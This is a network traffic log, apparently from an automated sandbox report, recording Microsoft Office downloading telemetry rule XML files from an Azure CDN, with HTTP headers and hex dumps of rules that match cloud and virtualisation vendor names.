20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:44 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:45 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2968f52d-d01e-002b-1502-4825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074345Z-r1cf579d778qlpkrhC1EWRpfc800000002h00000000008vx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:45 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:44 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:45 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d23b658c-101e-000b-2402-485e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074345Z-r1cf579d778z4wflhC1EWRa3h000000001r0000000003x6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:45 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:44 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:45 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074345Z-r1cf579d77898tqwhC1EWRf9q800000001wg000000000nxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:46 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:47 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 32c7c32d-b01e-003e-2b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074347Z-r1cf579d778d5zkmhC1EWRk6h80000000230000000004tad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:47 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:46 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:47 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7b814a2b-101e-0017-4003-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074347Z-r1cf579d778t6txphC1EWRsd440000000240000000004dke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:47 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:46 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:47 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074347Z-r1cf579d778qlpkrhC1EWRpfc800000002cg000000002vbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:47 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:46 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a7f5343d-701e-001e-5304-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074347Z-r1cf579d7782ctslhC1EWRfbrw00000002a0000000000k1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:47 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:47 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7407b41f-701e-0098-7b04-48395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074347Z-r1cf579d778lntp7hC1EWR9gg40000000190000000000hgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:49 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 704c87bc-501e-00a0-2501-489d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074349Z-r1cf579d7789trgthC1EWRkkfc00000002ag000000004kma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:49 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074349Z-r1cf579d778x776bhC1EWRdk8000000001q0000000003hgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:49 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49c2372f-d01e-0065-7b09-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074349Z-r1cf579d778t6txphC1EWRsd44000000024g000000004eaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90ee9adf-001e-0014-3106-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074349Z-r1cf579d778dc6d7hC1EWR2vs800000002b0000000003qpn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
